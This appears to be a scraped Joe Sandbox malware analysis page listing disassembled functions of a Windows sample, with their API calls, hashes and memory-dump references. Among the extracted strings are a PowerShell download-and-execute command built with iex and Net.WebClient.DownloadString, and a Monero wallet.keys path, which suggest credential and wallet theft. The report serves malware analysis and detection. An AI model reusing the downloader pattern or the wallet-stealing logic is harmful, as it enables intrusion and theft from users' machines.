Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=$>=
API String ID: 1378416451-3543398223
Opcode ID: 71a5d7e43b508f6c52890958a6b1929ddb6382b50cef5aa4f4a3eebe5962695f
Instruction ID: de4444a034c0883e74c6fcafbdf8f679e87e7dc8433da0401197ca20216890a1
Opcode Fuzzy Hash: 71a5d7e43b508f6c52890958a6b1929ddb6382b50cef5aa4f4a3eebe5962695f
Instruction Fuzzy Hash: C0F04935E04208BBD714DFB0EC49F9F77B5AB48714F10C554F621B72C4D67096418B40

Function 00EB4300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00EB4325
RegOpenKeyExA.ADVAPI32(80000001,01BFE720,00000000,00020119,?), ref: 00EB4344
RegQueryValueExA.ADVAPI32(?,01BFF1A8,00000000,00000000,00000000,000000FF), ref: 00EB4368
RegCloseKey.ADVAPI32(?), ref: 00EB4372
lstrcat.KERNEL32(?,00000000), ref: 00EB4397
lstrcat.KERNEL32(?,01BFF1C0), ref: 00EB43AB

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: a2e60e07681e9d01358ff4908d09b5f573ffb4b447c1f56bb7fd5d6496c4bdf6
Instruction ID: b1098094b0e7fecc8ffb3dfe7ee34500d799330c56466c0b1bb6f2994f1801fe
Opcode Fuzzy Hash: a2e60e07681e9d01358ff4908d09b5f573ffb4b447c1f56bb7fd5d6496c4bdf6
Instruction Fuzzy Hash: 654178B6D001086BDB28FBA0EC46FEE737DAB48700F004968B72556185EE7556C8CBE1

Function 00EAA110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EAA13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EAA161
LocalAlloc.KERNEL32(00000040,?), ref: 00EAA181
ReadFile.KERNEL32(000000FF,?,00000000,00EA148F,00000000), ref: 00EAA1AA
LocalFree.KERNEL32(00EA148F), ref: 00EAA1E0
CloseHandle.KERNEL32(000000FF), ref: 00EAA1EA

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c54c9f2d39ab4868074742c3a8dbead0f6d57a03784bd30f9e8567ca7734ef05
Instruction ID: 8d0e775d9e27371fa1d741a1cdc24adf94f06558656d045aa3c13d33733f512c
Opcode Fuzzy Hash: c54c9f2d39ab4868074742c3a8dbead0f6d57a03784bd30f9e8567ca7734ef05
Instruction Fuzzy Hash: 4331F0B4A01309EFDB24CF94D845BEE77B5AB59304F149168E911AB380D774A981CFA1

Function 00EBCB7E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 00EBCBEF
___crtGetStringTypeA.LIBCMT ref: 00EBCC1C
___crtLCMapStringA.LIBCMT ref: 00EBCC3C
___crtLCMapStringA.LIBCMT ref: 00EBCC61

Strings

, xrefs: 00EBCBC6

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 9a13bb434d8c54ab884863d39cce0e7ee495d673146d6d6f4f9fcbed5a6ce24e
Instruction ID: a3a5062a2cb7ef457c14f3f5a1c112a9f5a5663af30709f95119e843d9fa2512
Opcode Fuzzy Hash: 9a13bb434d8c54ab884863d39cce0e7ee495d673146d6d6f4f9fcbed5a6ce24e
Instruction Fuzzy Hash: F141197010875C5EDB318B248C85FFBBFF89B55308F2454E8E9CAA7142E2719A44CF60

Function 00EB49D0 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,01BFF130), ref: 00EB4A2B

Part of subcall function 00EB8F70: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EB8F9B

lstrcat.KERNEL32(?,00000000), ref: 00EB4A51
lstrcat.KERNEL32(?,?), ref: 00EB4A70
lstrcat.KERNEL32(?,?), ref: 00EB4A84
lstrcat.KERNEL32(?,01BEC6F8), ref: 00EB4A97
lstrcat.KERNEL32(?,?), ref: 00EB4AAB
lstrcat.KERNEL32(?,01BFE660), ref: 00EB4ABF

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EB8F20: GetFileAttributesA.KERNEL32(00000000,?,00EA1B94,?,?,00EC577C,?,?,00EC0E22), ref: 00EB8F2F

Part of subcall function 00EB47C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EB47D0
Part of subcall function 00EB47C0: RtlAllocateHeap.NTDLL(00000000), ref: 00EB47D7
Part of subcall function 00EB47C0: wsprintfA.USER32 ref: 00EB47F6
Part of subcall function 00EB47C0: FindFirstFileA.KERNEL32(?,?), ref: 00EB480D

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: cbe881174995f1039e2c991606796bd7bfe3c2921cbba903fa83deeb92a57f05
Instruction ID: 5729dd0571a5c6d44d694bf714ccdc36c80c187c6a8c367a2a32e5266d4768bb
Opcode Fuzzy Hash: cbe881174995f1039e2c991606796bd7bfe3c2921cbba903fa83deeb92a57f05
Instruction Fuzzy Hash: 343153B690021867DF28EBB0DD85EDE777CAB48700F4045A9B325A6185DE70A7C8CB94

Function 00EB2EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBAC30: lstrcpy.KERNEL32(00000000,?), ref: 00EBAC82
Part of subcall function 00EBAC30: lstrcat.KERNEL32(00000000), ref: 00EBAC92

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

ShellExecuteEx.SHELL32(0000003C), ref: 00EB2FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00EB2F14
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00EB2F54
<, xrefs: 00EB2F89
')", xrefs: 00EB2F03

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: d8d61f3987a5b4b4539f1c83d7157939771dc35464c74b64ce33063191ad913e
Instruction ID: 0048ce51952538dc867a9c96b3f07c9d0cdf8c268c239072cb8fe53fe3a2fc32
Opcode Fuzzy Hash: d8d61f3987a5b4b4539f1c83d7157939771dc35464c74b64ce33063191ad913e
Instruction Fuzzy Hash: 0A41D071910208AADF14FFA0C9A2FDEBBB9AF14300F445579E01576192EF712A49CF91

Function 00F1CBE2 Relevance: 7.6, APIs: 5, Instructions: 87COMMONLIBRARYCODE

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 00F1CC1F
dllmain_crt_dispatch.LIBCMT ref: 00F1CC36
dllmain_raw.LIBCMT ref: 00F1CC7E
dllmain_crt_dispatch.LIBCMT ref: 00F1CC91
dllmain_raw.LIBCMT ref: 00F1CCA4

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction ID: bfbd337527b39469cd0c04f7aa2b50b36fcdd161af3ac496b5ea5a924cdc6209
Opcode Fuzzy Hash: 234a4587e1df5c0bc1ce5882952f099010f88dbe2dfa5d5717c242a90a4fec11
Instruction Fuzzy Hash: F9218172E80698ABDB219E59CC41AFF7A79EB81BA4F054115F819A7211C3348DC1BBE0

Function 00EB7F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EB7FC7
RtlAllocateHeap.NTDLL(00000000), ref: 00EB7FCE
RegOpenKeyExA.ADVAPI32(80000002,01BED430,00000000,00020119,?), ref: 00EB7FEE
RegQueryValueExA.ADVAPI32(?,01BFE6C0,00000000,00000000,000000FF,000000FF), ref: 00EB800F
RegCloseKey.ADVAPI32(?), ref: 00EB8022

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 0234edd4127dd111a7049e267c1b049b4b80c327eaed937f27af0300d6919dad
Instruction ID: 22e90c15507e4e52ed24616e4b1de5752dafa51883f6a3b9c1bcc93f3bfef527
Opcode Fuzzy Hash: 0234edd4127dd111a7049e267c1b049b4b80c327eaed937f27af0300d6919dad
Instruction Fuzzy Hash: CE118CB1A44205EBE718DB94DD4AFBBBBBCEB04B10F104229F621A7384DB755940CBA1

Function 00EB93F0 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01BFEE60,00000000,00000000,?,00EA9F71,00000000,01BFEE60,00000000), ref: 00EB93FC
lstrcpyn.KERNEL32(01177580,01BFEE60,01BFEE60,?,00EA9F71,00000000,01BFEE60), ref: 00EB9420
lstrlen.KERNEL32(00000000,?,00EA9F71,00000000,01BFEE60), ref: 00EB9437
wsprintfA.USER32 ref: 00EB9457

Strings

%s%s, xrefs: 00EB9445

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 30d206617cedc9137b45e3c1fa060e742be273c8449e3eaae8898471d46ca723
Instruction ID: 69050584efff0d27a887a1f5cc9b34b79ce83b06eb761412feccbb459e2fee19
Opcode Fuzzy Hash: 30d206617cedc9137b45e3c1fa060e742be273c8449e3eaae8898471d46ca723
Instruction Fuzzy Hash: E701DE75540248FFCB18DFA8D988EAE7BB9EB48314F108258F9199B345D731AA40DB90

Function 00EA12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00EA12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00EA12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EA12F5
RegCloseKey.ADVAPI32(?), ref: 00EA12FF

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001313000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.00000000013F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000141C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.0000000001432000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811701261.0000000001433000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811822336.00000000015D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811841340.00000000015D5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ea0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4812ff87b66fa92e11a57b858fbfcbff065efc4626799c2d9f59ad5fe406a751
Instruction ID: f7dbf1a948de54d122ee1a5c5d21fa9893ae7053781d0d253ded1e0260ccd232
Opcode Fuzzy Hash: 4812ff87b66fa92e11a57b858fbfcbff065efc4626799c2d9f59ad5fe406a751
Instruction Fuzzy Hash: 4A011D79A40209BBDB14DFE0DC49FAE77B8AB48700F0041A8FA25972C4D670AA408B90

Function 00EB68D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00EB6903

Part of subcall function 00EBAA50: lstrcpy.KERNEL32(00EC0E1A,00000000), ref: 00EBAA98

Part of subcall function 00EBACC0: lstrlen.KERNEL32(?,01BF9FE8,?,\Monero\wallet.keys,00EC0E1A), ref: 00EBACD5
Part of subcall function 00EBACC0: lstrcpy.KERNEL32(00000000), ref: 00EBAD14
Part of subcall function 00EBACC0: lstrcat.KERNEL32(00000000,00000000), ref: 00EBAD22

Part of subcall function 00EBABB0: lstrcpy.KERNEL32(?,00EC0E1A), ref: 00EBAC15

ShellExecuteEx.SHELL32(0000003C), ref: 00EB69C6
ExitProcess.KERNEL32 ref: 00EB69F5

Strings

<, xrefs: 00EB6979

Memory Dump Source

Source File: 00000000.00000002.1810537385.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000000.00000002.1810488861.0000000000EA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000000FE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.000000000100E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1810537385.0000000001176000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1811413269.000000000118A000.00000040.00000001.01000000.00000003.sdmpDownload File
